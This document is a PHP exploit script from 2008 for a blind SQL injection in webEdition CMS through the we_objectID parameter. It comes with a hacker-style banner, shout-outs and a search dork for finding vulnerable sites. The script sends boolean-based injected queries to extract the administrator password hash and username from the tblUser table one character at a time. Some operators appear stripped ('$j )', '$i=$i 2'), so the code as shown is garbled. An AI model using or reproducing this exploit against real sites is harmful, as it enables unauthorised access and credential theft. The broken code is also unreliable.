webEdition CMS (we_objectID) Blind SQL Injection Exploit

<?php
ini_set("max_execution_time",0);
print_r('
###############################################################
#
# WebEdition CMS - Blind SQL Injection Exploit
#
# Vulnerability discovered by: Lidloses_Auge
# Exploit coded by: Lidloses_Auge
# Special Greetz to: H4x0r007 (who sent me a vulnerable Page)
# Greetz to: -=Player=- , Suicide, g4ms3, enco,
# GPM, Free-Hack, Ciphercrew, h4ck-y0u
# Date: 20.08.2008
#
###############################################################
#
# Dork: inurl:we_objectID=
# Admin Panel: [Target]/webEdition/
# Usage: php '.$argv[0].' [Target] [Userid]
# Example for http://www.site.com/en/****.php?we_objectID=21
# => php '.$argv[0].' http://www.site.com/en/****.php?we_objectID=21 1
#
###############################################################
');
if ($argc > 1) {
$url = $argv[1];
if ($argc < 3) {
$userid = 1;
} else {
$userid = $argv[2];
}
$r = strlen(file_get_contents($url."'and 1=1/*"));
echo "\nExploiting:\n";
$w = strlen(file_get_contents($url."'and 1=0/*"));
$t = abs((100-($w/$r*100)));
echo "Password: ";
for ($j = 1; $j <= 32; $j ) {
for ($i = 46; $i <= 102; $i=$i 2) {
if ($i == 60) {
$i = 98;
}
$laenge = strlen(file_get_contents($url."'and ascii(substring((select passwd from tblUser where id=".$userid." limit 0,1),".$j.",1))>".$i."/*"));
if (abs((100-($laenge/$r*100))) > $t-1) {
$laenge = strlen(file_get_contents($url."'and ascii(substring((select passwd from tblUser where id=".$userid." limit 0,1),".$j.",1))>".($i-1)."/*"));
if (abs((100-($laenge/$r*100))) > $t-1) {
echo chr($i-1);
} else {
echo chr($i);
}
$i = 102;
}
}
}
echo "\nUsername: ";
for ($i=1; $i <= 30; $i ) {
$laenge = strlen(file_get_contents($url."'and ascii(substring((select username from tblUser where id=".$userid." limit 0,1),".$i.",1))!=0/*"));
if (abs((100-($laenge/$r*100))) > $t-1) {
$count = $i;
$i = 30;
}
}
for ($j = 1; $j < $count; $j ) {
for ($i = 46; $i <= 122; $i=$i 2) {
if ($i == 60) {
$i = 98;
}
$laenge = strlen(file_get_contents($url."'and ascii(substring((select username from tblUser where id=".$userid." limit 0,1),".$j.",1))>".$i."/*"));
if (abs((100-($laenge/$r*100))) > $t-1) {
$laenge = strlen(file_get_contents($url."'and ascii(substring((select username from tblUser where id=".$userid." limit 0,1),".$j.",1))>".($i-1)."/*"));
if (abs((100-($laenge/$r*100))) > $t-1) {
echo chr($i-1);
} else {
echo chr($i);
}
$i = 122;
}
}
} } else {
echo "\nExploiting failed: Not enough arguments?\n";
}
?>